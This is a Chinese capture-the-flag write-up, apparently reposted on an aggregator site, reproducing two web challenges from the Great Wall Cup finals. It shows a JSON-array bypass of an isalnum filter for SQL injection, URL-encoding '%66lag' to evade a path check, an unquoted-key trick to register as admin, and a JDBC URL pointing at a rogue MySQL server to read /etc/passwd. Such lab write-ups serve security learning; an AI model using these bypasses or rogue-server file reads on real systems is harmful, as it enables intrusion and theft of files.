长城杯线下赛赛后复现

编程入门 行业动态 更新时间:2024-10-27 02:27:12

<a href=https://www.elefans.com/category/jswz/34/1767019.html style=长城杯线下赛赛后复现"/>

长城杯线下赛赛后复现

长城杯线下赛赛后复现

前言

去打了长城杯决赛,结果全程坐牢,果然不联网的web太难了,赛后拿到了两个web靶机的wp,复现一下。

fancyapi

目录结构

逻辑很简单,web用的是python的flask框架,然后go写了几个接口处理数据。

看看backend.go

func Flag(w http.ResponseWriter, r *http.Request ) {action:= r.URL.Query().Get("action")if action == "" {fail(w, "Error getting action")return}token:= r.URL.Query().Get("token")if token == "" {fail(w, "Error getting token")return}var secret stringrow := db.Sqlite.QueryRow("SELECT secret FROM token;")if err := row.Scan(&secret); err != nil {fail(w, "Error querying secret token")return}if action == "readFlag" && secret == token {data, err := ioutil.ReadFile("flag")if err != nil {fail(w, "Error reading flag")return}ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))return}ok(w, "Wrong token")
}

关键就在这里,action要readFlag,secrettoken,这个token的值是在数据库里的,再看

这里是可以造成sql注入的,注出token即可,但有个过滤,比赛时没有绕过去。。。然后基本上都在想办绕过这个过滤了。。

在app.py处

@app.route("/search", methods=["GET", "POST"])
def search():if request.method == "GET":return render_template("search.html")else:data = request.jsonif data['name']:if not isinstance(data['name'], str) or not data['name'].isalnum():return jsonify({"error": "Bad word detected"})if data['votes']:if not isinstance(data['votes'], int):return jsonify({"error": "Bad word detected"})r = requests.post(f"http://{server}/api/search", data=request.data)return jsonify(r.json())

/search路由的提交的数据传入go接口进行数据库查询,也就是上面sql注入的地方,提交方式为json。

vote参数为整数型,关键在name参数处有个isalnum。

绕过方法为多参数,但我比赛的时候尝试了多参数但是没有绕过去。后来拿到了wp,在本地简单复现一下。

搭建一个简单的app.py

from flask import Flask, request, jsonifyapp = Flask(__name__)@app.route("/search", methods=["GET", "POST"])
def search():if request.method == "GET":return "it is GET"else:data = request.jsonif data['name']:if not isinstance(data['name'], str) or not data['name'].isalnum():return jsonify({"error": "Bad word detected"})if data['votes']:if not isinstance(data['votes'], int):return jsonify({"error": "Bad word detected"})return "Legal data"if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)

因为isalnum的过滤只能提交字母和数字,如图

上面说了多参数,我只想到覆盖,看了wp用的是[]绕过

附上一张比赛时的原图(不是我做的)

这之后还有个过滤

@app.route("/<path:path>", methods=["GET"])
def handle(path):if 'flag' in unquote(path):action = request.args.get('action')token = request.args.get('token')print(action)if action == "readFlag":return jsonify({"error": "Sorry, readFlag is not permitted"})r = requests.get(f"http://{server}/{path}", params={"action": action,"token": token})else:r = requests.get(f"http://{server}/{path}")return jsonify(r.text)

要传入action="readFlag"但这里对readFlag有过滤

readFlag没法绕,这里是对路由进行绕过,这里判断当请求路径为/flag时才进行下面的判断,所以

%66lag?action=readFlag即可

比赛时觉得无解,现在看来学到了很多,还是太菜了

work

一道java题,比赛的时候知道了大致的思路,但没有做出来,赛后复现一下。

主办方后来给了jar包。所以本地复现比较容易。

直接看后台操作

主要是这里。

				String url = request.getParameter("url");String name = request.getParameter("name");String pwd = request.getParameter("pwd");ArrayList<UserBean> arrayList = new ArrayList<>();if(! (url.isEmpty() || name.isEmpty() || pwd.isEmpty())){JdbcUtils jdbcUtils = new JdbcUtils(url,name,pwd);......}

这里jdbc参数全可控,搭建恶意mysql服务器读文件即可

但在做这个操作前需要登陆admin

看注册这里

package com.example.jdbcSer;import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;@RestController
public class Register {@GetMapping("/register")public boolean register(@RequestParam(value = "user", defaultValue = "{\"username\":\"hacker\",\"password\":\"guess\"}")String user) throws Exception {user = user.replace("'", "\"");Pattern pattern = Patternpile("\"username\":\"(.*?)\"");Matcher matcher = pattern.matcher(user);String username = "";while (matcher.find()){username =matcher.group();}if(!username.isEmpty()){user = user.replace(username, "\"username\":\"hacker\"");}UserBean o = JSON.parseObject(user, UserBean.class);JdbcUtils jdbcUtils = new JdbcUtils("jdbc:mysql://127.0.0.1:3306/www?serverTimezone=UTC", "root", "root");jdbcUtils.insert(o);return true;}
}

如果按照常规的json格式提交,不管什么username都会被替换成hacker

例如

{"username":"admin","password":"123456"}

注册成功,看看表里注册进了什么数据。

所以要绕过正则,这个正则很简单,用大小写或者畸形json数据即可,这里去掉双引号变成

{username:"admin","password":"123456"}

可以看到注册成功了。登陆

/login?data={username:"admin","password":"123456"}

登陆成功后来到admin。

先起恶意mysql服务器。

脚本地址

启动脚本访问

http://127.0.0.1:8080/admin?url=jdbc:mysql://192.168.36.2:3306/www?serverTimezone=UTC&name=123&pwd=123

读到/etc/passwd 之后读flag就行。

这题应该还可以用jdbc反序列化,之后学了再来试试。

更多推荐

长城杯线下赛赛后复现

本文发布于:2024-03-13 13:50:18,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1734126.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:长城   赛后   杯线下赛

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!